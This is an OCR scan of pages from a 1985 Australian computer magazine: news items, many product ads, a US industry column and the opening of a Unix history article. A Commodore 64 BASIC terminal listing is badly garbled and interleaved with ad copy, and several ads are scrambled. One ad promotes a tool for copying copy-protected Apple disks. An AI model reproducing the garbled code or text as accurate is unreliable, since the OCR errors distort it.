panded to a maximum of 16 
Mbytes of main memory and 240 
Mbytes of disk storage. 

The 2086 is designed for use as 
a standalone, general-purpose 
multi-user microcomputer or as a 
node ina distributed network. Be- 
cause it is totally compatible with 
other Intel-based Altos 
machines, it can be networked 
with any of these systems via 
Worknet — Altos’s local area net- 
work. The Xenix 3.0 operating sys- 
tem available for the 2086 will 
Support user programs of | 
Mbyte. 

A basic system with 80 Mbyte 
hard disk will cost $37,500. Sandy 
Holt, Director of International 
Sales and Marketing for Altos, be- 
lieves this represents “revolution- 
ary price/performance” value. O 

ONLINE DATABASE 
CONFERENCE 

For those of you who plan ahead, 
the first Australian online in- 
formation conference (called In- 
formation Online’ 86) will be held 
at the Hilton International in Syd- 
ney on January 20 to 22 1986. 

As well as mounting the largest 
exhibition of publicly available 
online information databases, 
both local and overseas, ever held 
in Australia, the conference will 
highlight new developments in 
online information technology. 

Conference papers will give in- 
formation on the wide range of 
online databases providing legal, 
business, financial, engineering, 
technological, medical and scien- 
tific information, or news, from 
around the world. Participants 
will be able to hear about the 
latest developments in down- 
loading, electronic publishing, 
database searching techniques, 
marketing and training. 
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The conference is sponsored by 
the Information Science Section 
of the Library Association of Au- 
Stralia. For more information, 
contact: Mr W. Foda, (02) 29 1431. 
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GOODBYE LISA 

Apple has dumped the Lisa. The 
company, of course, has not put it 
quite that way: “Stocks have been 
built up to meet estimated de- 
mand and service and support 
will continue unabated.” 

This line will be familiar to any- 
one who owns a machine such as 
the PC jr or TI99/4A. Somehow it 
doesn't sound particularly com- 
forting. And for those who recog- 
nise Lisa’s special merits, it won't 
be much consolation to know 
that by running the MacWorks/XL 
program it will be possible to use 
the Lisa as a Macintosh. 

Perhaps the change of name 
from Lisa to Macintosh XL earlier 
this year was the softening-up 
process, though the prominence 
of the XL in the Macintosh Office 
ads seems to indicate a more re- 
cent decision on axing the 
machine. In any case, the head of 
the Apple family has been re- 
placed by the Fat Mac (512 Kbyte 
model) and the promise of a 20 
Mbyte hard disk. 

This is hardly the way to woo 
those corporate accounts Apple 
so desperately wants. The com- 
pany is going to be even more 
dependent on getting decent 
supplies of powerful software for 
the Mac to prove its worth and 
solidity. News of such software is 
now filtering from the United 
States, but we've yet to see much 
of it in Australia. 

ANTI-PIRACY GROUP 
FORMED 

Lotus Development Corp, 
Ashton-Tate and Imagineering 
have formed the Anti-Software 
Piracy Association (ASPA), based 
in Hong Kong. The three com- 
panies have kicked in US$100,000 
between them to create a fighting 
fund to combat the thriving black 
market in the region. 
ASPA will be writing to all 

corporate leaders in Hong Kong 
asking for their co-operation in D 

JUST RELEASED 
SPEEDIT 

MORE THAN A PROGRAM 
ITS AN EDUCATION 
Simplifies Basic 
Programming 
Creates bug-free 
Programs 

Productivity 

Create Basic Programs 
on your IBM PC or 

compatible, quickly, simply 
and efficiently. Speedit 
eliminates the use of line 
numbers, Gotos, and the 
obscurities of traditional 

Basic programming. 

Structured flowcharts translate 
directly into Basic. 

So if you’re writing 
a program in Basic, 
Speedit to perfection. 
Minimum requirements 
—IBM PC or clone, 
192k RAM, DOS 

Cuts Development Time 
Improves Programming 

MICROSHARE SYSTEMS PTY LTD 

PO Box 169, Milsons Point, NSW 2061 
Telephone: (047) 588 005 

Please rush me: SPEEDIT system 0 $79.95 
© Demonstration Version $19.95 
(Prices include Tax) 

ie eke eae wk ea ae ok os Postcode.......... 

My Cheque/Money Order for $............. | 
enclosed. 
Limited stocks at this price. Special concession for schools, 
universities and technical colleges. 
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_Bythe timea 
conventional PC 
~ network has 
done this much 

aperwork, 

To find out how the new Corona Mega PC works twice as fast, yet costs less, please send for our brochure. 

Name Position 

Company Address 

@ AWA COMPUTERS 
Postcode Telephone 132 Arthur Street, North Sydney NSW 2060 



helping to stamp out software 
piracy. By offering support, ser- 
vice and economical upgrades to 
the latest versions of software, 
ASPA hopes to encourage corpo- 

rate users to shun pirated soft- 
ware. Imagineering has recently 
opened an office in Hong Kong, 
putting it in a good position to 
provide the necessary support. 

As soon as the Hong Kong op- 
eration is running smoothly, 
ASPA plans to open a second 
office in Singapore. As Singapore 
has recently introduced software 
copyright legislation, the job 
should be somewhat easier there. 

O 

OSBORNE'S 
PAPERBACKS Now 
ON THE SHELVES 

Adam Osborne has always been 
eager to explore new technolo- 
gies and marketing strategies. Af- 
ter leaving Osborne Computer 

Corporation, he announced his 
next venture would be in the soft- 
ware publishing field. His aim in 
creating Paperback Software In- 
ternational was to provide com- 
petitively priced software which 
customers could check out before 
buying. 

The software is designed to 
allow the customer to browse 
right through the manual, while 
the disks are carefully protected 
from damage. Current titles in- 
clude Executive Writer, a full- 
featured word processor for the 
IBM PC and compatibles ($99.50); 
Number Works, a spreadsheet 
with eight windows for viewing 
the worksheet (IBM PC and com- 
patibles, $79.50); My A-B-Cs, six 
educational games for four- to 
eight-year-olds ($39); and Paper- 
back Writer, a simple entry-level 
word processor for users whose 
needs do not justify the expense 
of a highly complex system 
($79.50). 

Software Corporation of Au- 

THE UNIX™ 
REVOLUTION 

with 

CROMEMCO 
Benchmark tests such as the popular 

sieve of erasthosthenes method 
published by Byte Magazine of America 
compare hardware speed, operating 

system efficiency and compiler efficiency. 
These tests demonstrate Cromemco 32 
bit supermicrocomputers are amongst 
the best in the world. Join the UNIX 

revolution by telephoning 

(02) 957 6800 
UNIX is a tradernark of AT&T Bell Laboratories 
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Sstralia has gained the distribu- 
tion rights for Paperback Soft- 
ware, and it expects to have 30 
titles available by July this year. 
The company can be contacted 
on: (03) 347 7OI11; (02) 328 7074; 

(08) 46 9040 or (07) 371 0466. LU 

DR’S 8-BITTERS 

GIVEN THE BOOT 
More axing — this time on the 
software front. Digital Research is 
discontinuing support for all its 
8-bit languages and throwing its 
efforts into the 16-bit and user- 
friendly operating systems 
(UFOs?) battles. Life as a CP/M 
devotee is gradually starting to 
look grimmer, while users with 
more bits are being bombarded 
with a variety of operating sys- 
tems. 

DR has been looking for ways 
to win back ground from Micro- 
soft, which initially won out in the 
16-bit operating system arena 
with MS-DOS. Recently, DR has 

produced some impressive pro- 
ducts, including Concurrent DOS 
and GEM (Graphics Environment 
Manager), with promises of Con- 
current DOS-286 and Concurrent 
DOS-68000. 
GEM is now being shipped to 

Australia by Brisbane company 
Arcom Pacific ((07) 52 9522). The 
system provides a Macintosh-like 
interface, using icons, windows, 

pull-down menus and a mouse 
for cursor movement and selec- 
tion. Displayed at the Personal 
Computer show in March, the sys- 
tem looked easy tu use, versatile 
and faster than the Mac (thank 
goodness). 

Concurrent DOSs 286 and 
68000 will be bundled with GEM. 
According to DR, DOS-286 will 
support existing CP/M-86 and PC- 
DOS applications, while DOS- 
68000 will run software written for 
its predecessor, CP/M-68K. Both 
systems have been initially 
targeted for the multi-user vertic- 
al market area O 

YOUR DISKS 

$98.95 
plus $2.00 postage & packaging 

ESSENTIAL DATA DUPLICATOR Ill” 
EDD runs on Apple Ii, II plus, Ile, llc and Apple Ill (in emulation mode) using one or two disk drives. 

EDD allows you to easily and quickly make back up copies of your 
“uncopyable”’ Apple disks. 
Since EDD has been preset to copy the widest range of copy-protections 
possible, you just simply boot up EDD, put the disk you want to copy 
in one disk drive and a blank disk in the other (EDD will work using 
one drive also) and in about 2 /2 minutes a copy is made. 
Unlike the “‘copy-cards”’ which only copy “single load’”’ progams, EDD 
copies the entire disk. 
This would be similar to hooking up two cassette recorders, playing 
from one, and recording to the other. 

We have even included an option so you can check the speed of your 
disk drives because drive speeds running fast or slow can damage disks 
and cause other problems. 
We publish EDD progam lists (information about copy-protected disks) 

every couple of months, which EDD owners can receive. The current 
list is included with the purchase of EDD. 
The bottom line is this; if EDD cant copy it, chances are nothing will. 

Warning: EDD is {0 order your copy send cheque or money order to 
sold for the sole UTILCO SOFTWARE 83 Hall Street, Bondi Beach. 
purpose of NSW 2026 AUSTRALIA. Telephone (02) 30 2105 

making archival 
copies ONLY. ~~; bankcard 

Order by phone: 



SAVE YOURSELF! TIME & MONEY 
MAKE THE COMPUTER CHOICE EASY. 

Le 
5 

The Perfect Place To Start — 
ties 

CALLS ti 
SR 

The best value beginner's computer you'll see! The VZ-300 lets you go as 
far as you want or stop when you’ve had enough. From atiny initial investment 
you can build a system that’s comprehensive enough to cope with all your 
computing needs, or you can stop where you like. 

No loss, you haven’t spent your life’s 
savings On wasted equipment. 
The VZ-300 as ible pl to start! a sensible place to star Cat X-7300 

4. Disk Drive « 
Store your records and 
programs for instant access. 
Just like the big ones! 

. Disk Controller « 
So your computer can talk to 
your disk drive, you need 
someone who speaks its 
language. 

. 16K Memory 
Oops, nearly forgot! But your 
VZ-300 won't with this fantastic 
memory expansion module. 

. Data Cassette 
Store your own programs 
and data! Made just for your 
VZ-300 it plugs straight in. 

*VZ200 COMPATIBLE 

‘299 
Cat X-7302 

‘89 
Cat X-7304 

$8450 

Cat X-7306 

$6950 

Cat X-7310 

NEW! Daisywheel with 
Serial Port 

Hi-Res Monitors 

Huge Savings On The Cat Pack! 
Save a bundle on the CAT pack! 
Still one of our top sellers and now 
you can get even better value with 
Our amazing offer. 
Not only do you get the incred- 
ible CAT with 32K ROM and 
64K RAM memory, an 81 key, 
full stroke typewriter format 
keyboard with numeric pad, 
8 programmable function keys, 
2 inbuilt text display modes, 
maximum colour graphics 
resolution, four programmable 
sound channels and all the 
input and output ports you'll 
need... 

Monitor 
Shown > | 
an option 

BUT our Special Offer gives you disk | 
drive, disk controller and RF mod- ; 4 
ulator all for this amazing LOW price! zzz, 
Your SAVE over $230! 

1. Cat X-7500 Cat Computer 

2. Cat X-7505/6 Disk Drives 

3. Cat X-7510 Disk Controller 

4. Cat X-7550 RF Modulator 

PTY LTD 

Budget New Improved 
If you dont need colour, here's the 
best choice: high res monitors in your 
choice of green or amber phosphors. 
(Personal preference of operators 

means a lot!) Ideal for use with most 
microcomputers, standard composite 

‘249 

Famous Uchida DWX-305 daisywheel 
printer, fitted with Serial (RS-232C) 
port for all those people with serial 
ports on their computers! 
Fantastic letter quality. 3 pitches and 
18cps print speed, with a paper width 
up to 330mm. Optional tractor feed 
also available. 

(Cat X-3273 at $119) S 
Cat X-3277 

Daisywheel Printer. 
Quality printing at a budget price! For 
letter quality printouts this is one ofthe 
best Bargains around. Prints 18 cps 
with a choice of 3 pitches plus propor- 

tional. Takes 330mm paper and is very 
quiet too! Centronic interface suits 
most popular computers. 
Cat X-3270 shA9 

Dataphcne II 
Australia’s first and fastest-selling 
private direct connect data modem. 
Dataphone II features a built-in push- 
button phone and simply plugs into 
normal phone socket. Fantastic Value! 
e 300 baud full duplex 
¢ Answer/Originate switch 
e Built-in push button phone 
¢ Telecom Authorisation C83/37/1080 
Cat X-3272 

Green Screen 

“Xjdex Quality Diskettes 

Cat X-1222 

Amber Screen 
Cat X-1227 

The Xidex range of top quality diskettes: better 

disk substrate. finer coating particles. ultra 

smooth polishing and tighter tolerances give 

you the utmost in reliability. Look at our great 

value packs of 10! $5450 
Single sided. d/density 

559° - Cat X-3512 . 
-< Double sided. d/density 

Cat X-3514 

At Last! 256K Ram Chips!!! $4 99 
Fast (150ns), reliable and, above all. CHEAP! Compare the 
cost of using 4164's and 41256’s: you re streets ahead! 

Dynamic RAMs. suitable for Olivetti M21 or M24 (18 chips —e 
gives full640K on 128K machine). also usable i 
on many other computers. Oead 

‘2.495 Cat Z-9313 



Imagine! A computer that’s powerful 
enough fo run a business... 
yet small enough to take home with 
you. That’s the Bondwell 44 Portable. 
It has all you 
need — yet cosis ‘ ” : 

a fraction of the —  ——. 
price of other == 
computers. r oe 

Cat X-9000 

That’s why it’s the success siory of 1985! 
In just a few short months, the Bondwell 14 portable has 

become our largest selling personal computer. It offers per- 

formance and reliablity far exceeding its !ow price tag. Even 

first glance will tell you that the Bondwell 14 portable is no 

ordinary computer! 

You'll see: 
@ 128K RAM on board! 
@ Twin 360K disk drives! 

With the huge number of programs written for this system, 
you'll find the one you require. And the Bondwell 14 portable 
will read disk files from many other computers - including the 
IBM PC (& compatibles), Osborne, Kaypro and Spectravideo! 

Weighing in at just 12kg and measuring just a little larger than 
an electric typewriter, the Bondwell 14 is truly portable. Take 
your Bondwell 14 to where the job is: Mohammed need no 
longer go to the mountain, 

@ 220mm amber-screen monitor! 
@ Twin RS-232 serial ports! 
@ Centronics parallel port! 
@ External video monitor port! 
@® Ergonomically designed adjustable keyboard! 

@ PLUS a package of famous Micropro ‘Star’ series 
software valued at over $1200: Wordstar word processing, 
Calcstar spreadsheet, Datastar information handling and 
Reportstar report preparation. AND if that’s not enough, a 
host of CP/M utilities including a speech synthesiser! Yes, 
this is all included FREE with your Bondwell 14 portable. 

And just in case you need other specialised software, you 

have one of the biggest ‘libraries’ in the world at your dis- 

posal: the Bondwell 14 portable operates under the world- 

standard CP/M system. (And it's the latest, most powerful 

version - Vs 3.0.) 

Your computer success depends on you making the correct 

decisions. Decide on Bondwell 14 portable. 

Want to know more? Call in to your nearest Dick Smith 
Electronics Computerstop for a test drive. Ask for a copy of the 
Bondwell 14 brochure. And then get your own Bondwell 14! 

Bondwell Computers: exclusive to Dick Smith Electronics. 

veo S2AQS 
Or $247 deposit and $19.85 weekly over 

48 months to approved purchasers. 

ck Smith Electronics Pty Ltd 

nil hh 
| ‘ 

Mi ll 
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Or order through DSXpress: Call (008) 226610 toil free for fast 24 hours despatch A 980 Ce banwcord 

welcome here 



Software 

CPA + is the trademark of 
G.N.P Development 
Carporation. 

Accounting NEwS 

SYDCOM BULLETIN BOARD 

SydCom, the Sydney Commodore 
User Group, has established the 
first (and only) Australian bulle- 
tin board which supports the 
sound and colour features of the 
Commodore 64. 

To use the board — called 
RCOM — a special terminal prog- 
ram is needed. Copies of the ter- 
minal program can be obtained at 
club meetings or by sending $20 
to SydCom, GPO Box 1542, Syd- 
ney 2001. Use of the board is free, 

and with the terminal program it 
is possible to upload and down- 
load software. 

If you want to have a look 
around the board before paying 
for the terminal program, the 
RTERM program listed here will 
provide you with simple access. 
RCOM runs at 300 baud on half 
duplex and its number is (02) 667 
1930. More information is avail- 
able from SydCom president lan 
Allen on (02) 920 5832. O 

All modified and approved 
to comply with accountancy % 
procedures in Australia by & 
Busiware N 

REMAEEKKERKEKHHKEREKEKEKEKEEKEEKRKEKAKE 

REM*eee eee en R TERM KEKKKKKAEKEEES 

REM*eeekeeee SIMON FINCH €HeKKEKKEREEK w fT = 

Q REMAKKKKKHR O2/O2/1985 KKKKKEREKREES 

If you already use Lotus 1.2.3. 5S REM GORI IOI ROO FOR IR IOK 
6: 

Presenting C.P.A.+, the small business accounting 7 3 
program for Lotus 1.2.3. Fully featured, fully integrated 8: 
and all on the one disk! Starting right now, your 9: 
accounting problems may be solved forever . . . By You! 19 POKES3280,6:POKE53281,6:PRINT" aa"; 
Say hello to C.P.A.+, the most ingenious accounting 11 PRINT" R TERM e2" 
program ever created for the I.B.M. P.C. For the first 12 PRINT" 
time the power of Lotus 1.2.3. is utilized in a full 
accounting package, one diskette integrates all modules, 
all files are updated automatically and reports can be 
custom designed. That's C.P.A.+ at $795.00 R.R.P. 

13 PRINT" COPYRIGHT RCOM COMPUTING 

14 PRINT" Hi TERMINAL READY 

iS OPEN e2,2,e2,CHRS¢ 6) +CHRS¢ 0) 

16 GET#e,I1S: IFIS=""THENe2 

e 1f IF 1#="Gi" THEND=1:GOSUBe93 

And if you don’t. 18 IF IS="@" THENGOSUB34 

19 IF TS="(§" THENGOSUB36 

2Q IF I1¢="8" THENO=6:GOSUBeS 

221i PRINTIS; 

2e GETOS: IFOS=""THENIE 

1385" 

=” 

The completely configured, ready-to-run System 4 and 
System 7 includes a full set of test data files for operator 
training. These systems offer Accounts Receivable, 
Accounts Payable, General Ledger, Invoicing or Order 
Billing, Order Entry, Inventory Control and powerful eo IPOs eee RIN te: FOOT le 
sales analysis. Totally menu driven with step-by-step eS TFOS= "ER" THENPRINTHE, "S"7 :GOTOIG 
documentation. Each module includes a beginner’s eG IFOS= "SP THENPR INT" m¥M@" > 20=12:GOSUBE9 
introduction, and System 4 has a built-in help feature for ef IFOS="@" THENPRINT" gm"; 50-62 GOSUBeS 
instant answers to those puzzling questions. Works with 23 PRINT#He ,OS; SPRINTOS; :GOTO16 
all printers. These powerful accountancy packages will eg FOR X=17TQD 
give you the information and control that you need to 3@ POKES4296,15 
run a better, more profitable business. Manufactured 31 PQKES4273,25 
and supported throughout Australia, System 4 and 32 POKE54277, 12:POKE54276,33 

System 7 are competitively priced from $795.00 R.R.P. 33 FORR=1T0750: NEXT: POKE54276,32: 
At Dealers around Australia. NEXT: RETURN 

34 GET#e ,AS: IFAB=""THENSS 

35 POKES328@0 ,ASCC AS) : RETURN 

36 GET#HE ,AS: IFAS=""THEN3SG 
BU: I‘'W-A-R-E 37 POKES3281 ,ASCC AS) : RETURN 

ss J —— ee SOFT PTY LTO READY. 

BUSIWARE Suite 33, 8-24 Kippax Street, Surry Hilts, N.S\W. 2010. Tel: (O2) 211 1266 
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AMERICAN GRAFFITI 

BY HOWARD KARTEN 

The AT Scramble 
Virtually all the signs are pointing 
to continued vigour and ferment 
in the United States micro- 
computer industry, recent layoffs 
and red ink notwithstanding. 

One indication of this is the 
growing number of firms heavily 
involved in the IBM PC AT clone 
business. The components in the 
AT, like that of its older brother 
the PC, are almost entirely non- 
proprietary, most components 
having been either purchased 
from other vendors (such as the 
Intel microprocessor) or standar- 
dised by virtue of Big Blue’s im- 
primatur. 

Already, Zenith Data Systems 
of Glenview, Illinois, has intro- 
duced the Z-200, a USS$5600 AT- 
compatible system, and three 
other IBM compatibles. Zenith is 
said to be the second-largest 
manufacturer of IBM-compatible 
PCs, exceeded only by the legen- 
dary Compaq. Corona Data Sys- 
tems has also introduced its 
clone, the ‘transportable’ (17.2 
kg!) ATP. This machine, sche- 
duled for shipment around July, 
uses the same Intel 6 MHz 80286 
chip as the AT and will be able to 
handle IBM’s DOS 3.1 operating 
system announced for the AT. 

Other companies which have 
already announced AT-like pro- 
ducts include Compaq, which at 
the end of April introduced the 
USS4500 Compaq Deskpro 286; 
Texas Instruments; and Kaypro. 
Other vendors are expected to 
join the fray soon. If all the 
rumours floating around the in- 
dustry are to be believed, a mini- 
mum of 17 United States firms 
have introduced/will introduce/ 
may introduce/are planning AT 
compatibles. 

Given the dismal record some 
United States firms have when it 
comes to successfully peddling 
100 per cent IBM-compatible (or 
even 95 per cent compatible) 
machines —. making them, 
marketing them, supporting 
them, defending them against 
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suits by IBM alleging plagiarism 
(to put it kindly) of its ROM BIOS 
(Read-Only Memory Basic Input- 
Output System) — those manu- 
facturers bold enough to venture 
onto this battlefield a second 
time face a tough fight. 

Lotus Leads Merger 
Mongers 

Another interesting development 
here, related to the never-ending’ 

. pursuit of bigger and faster mic- 
ros, has been the announcement 
of a plug-in board for the IBM PC 
called Above Board. This US$395 
product, made by chip maker In- 
tel, extends IBM PC memory from 
its current limit of 640 Kbytes to a 
staggering four megabytes of 
memory! Lotus Development 
Corp is taking an active role in the 
marketing of the board, and has 
announced that future releases of 
Lotus 1-2-3 and Symphony will be 
able to make use of the extended 
memory capacity. Other firms, 
such as Lotus competitor 
Ashton-Tate, are also believed to 
be adapting their products to take 
advantage of the board. 

The joint Lotus-Intel effort may 
herald a growing trend in industry 
mergers and acquisitions, with 
more projects in which vendors 
combine forces on the horizon. 

For example, Lotus announced 
recently that it has signed an 
agreement to buy a San Mateo 
(California) company, Dataspeed 
Inc, for approximately USS6 mil- 
lion. Dataspeed makes a product 
called the Modio — a kind of 
combined modem/sradio receiver 
that can capture stock quotes cur- 
rently being broadcast over an 
unused portion of the FM fre- 
quency spectrum. The idea of 
combining the forces of a soft- 
ware company with a well- 
accepted product with a hardware 
firm which has a niche without an 
excess Of competition, seems an 
obvious one. 

Lotus has also bought a few 
smaller, privately-held software 
concerns in recent months, and 

has taken venture positions in, or 
given its blessing to, offshoot 
firms started by ex-Lotus em- 
ployees. The company has been 
fairly vigorous as well in pursuing 
mutually advantageous arrange- 
ments with other companies. An 
example is an agreement signed 
earlier in the year to develop a 
micro-mainframe link with well- 
known mainframe software ven- 
dor and pioneer Cullinet. 

The Virgin Coders 
In the IBM-compatible arena, of 
course, anyone can buy a DOS 
disk from IBM. That still leaves 
the problem of making sure DOS 
interfaces with the BIOS. 

One way AT-compatible manu- 
facturers cope with the problems 
of duplicating the functions of 
ROM BIOS without infringing on 
IBM's proprietary rights is by writ- 
ing the BIOS anew. Although the 
code itself may be proprietary, 
the ideas, and the code’s func- 
tions, cannot be protected. A 
handful of American firms has 
come into being for just this pur- 
pose. 

Perhaps the leading company 
in this sphere is Phoenix Software 
Associates Ltd, a small, highly 
specialised firm in the Boston 
suburbs. Phoenix employs two 
kinds of programmers in this en- 
deavour: ‘contaminated’ prog- 
rammers and ‘virgins’. The virgins 
must sign pre-employment affi- 
davits stating they have not 
looked at IBM's proprietary code 
for its micros; contaminated 
programmers are those who have 
knowledge of the code. Phoenix, 
of course, then licenses its pro- 
ducts to hardware vendors. 

This strategy has paid off: in 
the past, several PC clone makers 
who were the targets of IBM law- 
suits immediately hoisted the 
white flag when IBM’s process 
servers came knocking. IBM has 
apparently made no move to stop 
Phoenix, which has already 
signed up at least 15 customers 
for its forthcoming AT software. 

Supermarketing 
For many years in this country, 
there have been buildings hous- 
ing permanent, yet ever- 
changing, exhibitions of consum- 
er goods such as clothing and 
furniture. Earlier this year, in Dal- 
las, Texas, an exhibition for com- 
puter products joined the roster. 
The Informart is intended to pro- 
vide a place where buyers — parti- 
cularly volume buyers from busi- 
ness — can come and see work- 
ing demonstrations of hardware, 
software, and services. They then 
rush out to local retailers to buy 
the product, the theory goes. 
Whether this strategy will 

actually work remains to be seen. 
Plans for a similar ‘permanent 
floating crap game’ developers 
had hoped to open in Boston fell 
through some time ago: not 
enough exhibitors could be lo- 
cated and Dallas computer retail- 
ers had reported only very low 
levels of referrals. 

Several well-known United 
States vendors have chosen not 
to participate. Perhaps most 
prominent among them is Apple, 
which is still watching and decid- 
ing. However, more than 100 
other firms — including IBM — 
have taken space, with the result 
that the Informart is roughly half 
rented. A similar operation, cur- 
rently called Datamart, is sche- 
duled to open in San Francisco in 
early autumn. 

One product that will never 
show up at Informart regardless 
of Apple's other plans is its 
Macintosh XL (nee Lisa). Apple 
announced recently it would dis- 
continue manufacturing the 
machine as of the summer. 
Although Lisa’s birth was widely 
heralded (particularly via an ex- 
travagant commercial TV spot), 
the silence attending Lisa’s short 
life was fairly deafening. Because 
so few were sold, dropping Lisa is 
not expected to have a significant 
impact on Apple earnings. 0 



Introducing the Sinelair QL. 
A Quantum Leap 

in Small Business C omputers. 
In today’s business 

world, just keeping a step 
ahead is often not enough. 

The difference between 
success and failure can 
depend upon your ability 
to see far into the future, 
to anticipate needs and 
calculate costs. That's why 
the personal computer has 
become one of the MOSt ag 
important tools in 
business. A 
good one 
can help 
you under- 
stand what 
lies ahead. 

But personal 
computers having 
the capacity to really help 
have two major drawbacks. 

They cost a fortune and 
usually are so complex to 
operate that weeks and 
even months of study are 
required before they can 
become functional. 

No longer. 
Now theres the Sinclair 

QL (Quantum Leap). It's 
not just the next step in 

business computers but storage. And the QL is 
quite literally a quantum | designed to work so simply 
leap in terms of design, that you can start using 
capacity and price. it ance Within 

This is a machine that minutes the 
QL can be 

fully 
opera- 
tional, 

making 
valuable 

er > Oat contributions to 
Se FLO ee your business. Yet don't 

Even the most demand- 
ing users will probably 

will keep you c
urrent for al

 td 

years to come. 
sil 

powerful. 
It combines never fully tax its capacity. 

a 32-bit processing But the Sinclair QLs 
capability with 128 K’s of | most impressive leap is 
RAM. And QL has a wide _ | its price. 
range of available soft- For the first time ever, 
ware programming. In you can Own a personal 
fact, over $1000 worth of 
these programmes are 

computer that will take 
you well into the future 

included free within each | for under $1000. 
package to get you Why just take a step 
started—wordg “wee, when you can 
processing, § make a quantum 
financial leap? 
models, The Sinclair QL. 
graphics and More than 
information a Step ahead. 

] want to make a quantum leap! Please an more 6 frtenivathos on the Sinclair QL. 

Postcode 

Address 

Occupation Phone 

Sinclair QL is distributed by: Interfaceware Pty. Ltd. 8/303 Pacific Highway, Lindfield, NSW. 2070 Tele (02) 46 4374. 
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plus expansion slots that take standard IBM 
expansion hardware AND of course the Elite 
comes witha three month warranty. And should 
youneed service, Sigma supports the Elitedirectly 

The Elite comes as a complete package, it can at our Own service centres around Australia. 
be plugged in and used straight off the bat. | : | So with an overpopulated computer 

Elite includes the unique Open Access software “market, make sure you don’t end up with a 
package. Giving you Appointment Scheduler, gc" lemon. From $41994, the Elite from Sigma 
Database Time Management, Spreadsheet, Data is the last thing in personal computers. 
3-D Graphics, and Word Processing to name [ts compatible. Fully supported. And 
only a few functions. In fact, virtually every won't cost you the shirt off your back. 

To a prospective computer buyer, the over - 
crowded computer market can be confusing. 

Which is why you should look at the Elite 
personal computer from Sigma Data. 

task youre likely to encounter can he tackled me ee. af pret PEPE: ¢ ’ "MS-DOS as a trademark of Microsoft Ine.; Concurrent CP Misa 

: h Fees 7 2 A isis Ae te eT ee Oe bs "4 i " vere 2 ee trademark of Digital Research, botus 2203 isa trademark ot Lotus 
with ease USINE Open CCESS. fo EES eas dol ie . i. | | 3 \ \ Development Corp; Wordstar isa trademark of Micropro Corp: 

The Elite by Multitech is truly IBM, pe ee nanos 

PC-compatible. Using MS-DOS* or a .~ |  * om Si ma Data 
e 

Concurrent CP/M} Elite runs all popular software including . 
Lotus 1-2-3? Wordstar 2000% ete. The last ing 

The Elite has a smaller footprint, tilt/swivel colour @ 
monitor and a well designed, easy to use keyboard. All of this In per sonal computers. 

N.S.W. City: The Computer Spot — 235 2971. Hunters Hill: Precise Business Systems —816 3233. North Sydney: Amicron 
Business Systems — 929 0400. Amnet — 918 3953. Dataware — 957 4211. Parramatta: The Computer Spot— 635 6020. Trinity Data 
Systems— 683 4349. St. Leonards: Design Data Systems — 438 4560. Surry Hills: Thinking Systems — 211 0944. Taree: Office Data 
Systems — 52 3790. A.C.T: Fyshwick: Boulevarde Business Services— 80 5743. S.A. Adelaide: Entertainment Audio — 212 3733. 

Glenelg: Computer Brokers— 294 8022. WA. West Perth: Professional Technology — 322 1896. Garland Barwagt & Stewart SDC3O52R 
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UNIX IN A NUTSHELL 

What? Where? When? Why? How? Who? Relax, 
Unix has nothing to do with the only males allowed 
in the harems of cautious sheiks, nor with shearing 
sheep. Les Bell shines a little introductory light on 
the matter. 

s you may have noticed, this 
issue of Your Computer revolves 
around the theme of Unix. We 
aim to give you some under- 

standing of what Unix is, why it is impor- 
tant, where it stands relative to other oper- 
ating system developments on micro- and 
minicomputers, and what it will mean to 
you. 

Several articles approach each of these 
themes, but it falls upon your scribe to try 
to provide a simple overview from the 
perspective of a potential user of this 
show-pony-cum-wonder-horse. 

Early history 

Like several other products in the micro- 
computer and minicomputer worlds, Unix 
strongly bears the stamp of one man, or at 
least a small group. When Bell Laborator- 
ies decided to withdraw from the Multics 
project in the late Sixties, Ken Thompson 
felt a personal loss. While disagreeing with 
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the fundamental design of the Multics 
operating system, which required massive 
resources to provide all kinds of facilities 
to all kinds of users, Thompson liked some 
of the features of the system and its in- 
teractive concept of personal computing. 

It was from this desire to establish a 
similar working environment on a much 
smaller scale that Unix was born. On a 
borrowed PDP-7 computer, with memory 
and disk space we would now consider 
unusable, Thompson brought up the first 

Unix system. 

The earliest version of Unix was written 
in assembly language. Although primitive, 
it was capable of supporting a couple of 
terminals, doing word processing and, 
perhaps more importantly, playing 

ay 

g 
iy LENS 
Ml, é : Pi AN 

Ss 

A / 
\ ppl , Ly fa 
Ys 

“tt 

= my le - Z 
af eo “4 

Ya tA 

% 

ay, 4 

Se 

Sl ee a —————S— 

Thompson's Space Travel game which 
some would say was the real inspiration 
for the development of Unix. 

This early Unix had many of the features 
of today’s Unix: it had a file system which 
was similar to, but less well organised 
than, today’s hierarchical directories; at 

first it did not have, but soon developed, 
the ability for one process to create 
another and run it as a child task; and it 
later inherited a vastly simplified yet more 
powerful version of the Multics capability 
to redirect input-output from files to de- 
vices. 

By this stage, it was becoming obvious 
that Unix was a going concern, but the 
PDP-7 was the end of that particular hard- 
ware line and was, in any case, a borrowed 
machine. By using the Bell Labs’ patent 
applications office as a test bed, and prom- 
ising to write an operating system for mul- 

ti-user word processing, Thompson was 

able to obtain a PDP-11 computer, and 
shortly thereafter the first group of Unix 
users. 

This machine represented a major ad- 
vance. While supporting three typists from 
the patents department, Thompson and 
Denis Ritchie were able to develop the 
system further and add more programs. All 
this was done ona machine with 24 Kbytes 
of memory and a 512 Kbyte disk drive! 

This was all that was required to estab- 
lish the credibility of the system, and Bell 
Labs’ management was then ready to sup- 
port further development with the purch- > 



ase Of a PDP-11/45. A first port of the Unix 
system was done simply by rewriting all 
the assembly language routines. 

The offshoot was used to continue de- 
velopment under the B language, which 
was further developed into the C language. 
In 1973, Unix was rewritten in C, which 
marked the biggest change on the road to 
the modern form of Unix. Subsequent de- 
velopment has seen the system mature 
into Versions 6 and 7, which were released 
to educational institutions, then into Prog- 
rammer’s Workbench 1.0, System III, the 
University of Berkeley enhanced versions 
and the latest System V. 

The key to the success of Unix is simplic- 
ity: a systems programmer can actually 
understand it. Of course, at the detail level, 
its operation is quite complex and soph- 
isticated, and has grown more so over the 
years, but the essential principles have re- 
mained unchanged or only slightly mod- 
ified. 

Recent Development 

It was only a few years ago that Bell Labs 

You have a choice of drawing tools: pencil, 
brush, spray-can, fill can, eraser. 
Draw points, lines, boxes, elipses or 
handcrafted drawings. 
User-definable patterns — defined areas may 
be filled or you may brush them on. Text and 
graphics can be combined; perfect for 
overhead projector artwork, etc. 

decided to release Unix source code to 
commercial licensees. Onyx was the first 
microcomputer company to take up a 
source licence; at first these were extreme- 
ly expensive, although the price dropped 
last year. 

Other companies have started the move 
towards Unix, most significantly, mini- 
computer companies like DEC and Hew- 
